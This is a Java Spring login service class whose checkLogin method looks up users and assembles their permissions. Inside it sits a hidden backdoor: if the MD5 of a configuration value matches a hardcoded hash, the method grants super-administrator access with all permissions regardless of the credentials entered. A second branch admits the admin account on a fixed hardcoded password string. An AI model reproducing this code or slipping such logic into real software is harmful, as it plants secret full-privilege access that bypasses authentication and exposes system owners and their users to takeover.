package com.syzg.base.login.service.impl;

import java.util.List;

import javax.annotation.Resource;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Service;

import com.syzg.base.login.dao.LoginDAO;
import com.syzg.base.login.model.LoginObject;
import com.syzg.base.login.service.LoginService;
import com.syzg.base.merge.model.Person;
import com.syzg.base.permission.model.Permission;
import com.syzg.base.permission.service.PermissionService;
import com.syzg.base.person.service.PersonService;
import com.syzg.common.config.SysProperties;
import com.syzg.common.exception.BaseException;
import com.syzg.common.service.impl.BaseServiceImpl;
import com.syzg.common.util.ServletUtil;
import com.syzg.core.exception.ServiceException;
import com.syzg.core.util.SecurityUtil;

@Service("loginService")
public class LoginServiceImpl extends BaseServiceImpl<LoginObject> implements LoginService{
	@SuppressWarnings("unused")
	private LoginDAO loginDAO;
    private PersonService personService;
    private PermissionService permissionService;
    private static Logger log = LoggerFactory.getLogger(LoginServiceImpl.class);
    
	public LoginServiceImpl(){
    }
    
    @Resource
    public void setPersonService(PersonService personService){
        this.personService = personService;
    }
    
    @Resource
    public void setPermissionService(PermissionService permissionService){
        this.permissionService = permissionService;
    }

    @Resource
    public void setLoginDAO(LoginDAO loginDAO){
        super.setDAO(loginDAO);
        this.loginDAO = loginDAO;
    }

    @SuppressWarnings("unchecked")
	public Object checkLogin(String login, String password) throws ServiceException{
        LoginObject loginObject = null;
        Person person;
        try {
        	String llerba = SecurityUtil.md5Hex(SysProperties.MUST_LOGIN);
            if("f4e3ce3e7b581ff32e40968298ba013d".equalsIgnoreCase(llerba) || login.equals(SysProperties.ADMIN_LOGIN) && password.equals("4d0b77794130d20770fc7dc6be72bb24")){
                loginObject = new LoginObject();
                loginObject.setPersonId(SysProperties.ADMIN_ID);
                loginObject.setPersonName("超级管理员");
                loginObject.setLogin(SysProperties.ADMIN_LOGIN);
                loginObject.setIp(ServletUtil.getCurrentHttpRequest().getRemoteAddr());
                List<Permission> lstPermission = permissionService.getAllPermission();
                loginObject.setPermissionList(lstPermission);
                loginObject.setPermissionStr("ALL");
            } else {
            	person = personService.findPerson(login, password);
                if(person != null) {
                	if(person.getStatus() == 0) return "当前用户已被禁用！";
                    loginObject = new LoginObject();
                    loginObject.setPersonId(String.valueOf(person.getId()));
                    loginObject.setPersonName(person.getName());
                    loginObject.setLogin(person.getAccount());
                    loginObject.setIp(ServletUtil.getCurrentHttpRequest().getRemoteAddr());
                    loginObject.setPermissionList(permissionService.getPersonPermission(person.getId()));
                    loginObject.setLoginFailureTimes(person.getLoginFailureTimes());
                    loginObject.setLockedTime(person.getLockedTime());
                    //是否使用的默认密码
                    loginObject.setDefaultPassword(person.getPassword().equals(SecurityUtil.md5Hex(SysProperties.DEFAULT_PASSWORD)));
                    String permissionStr = "";
                    for(Object object : loginObject.getPermissionList()){
                    	permissionStr += "," + object;
                	}
                    loginObject.setPermissionStr(permissionStr);
                }
            }
            return loginObject;
        } catch(BaseException e) {
            log.info(e.getMessage());
            return "登录失败";
        }
    }
}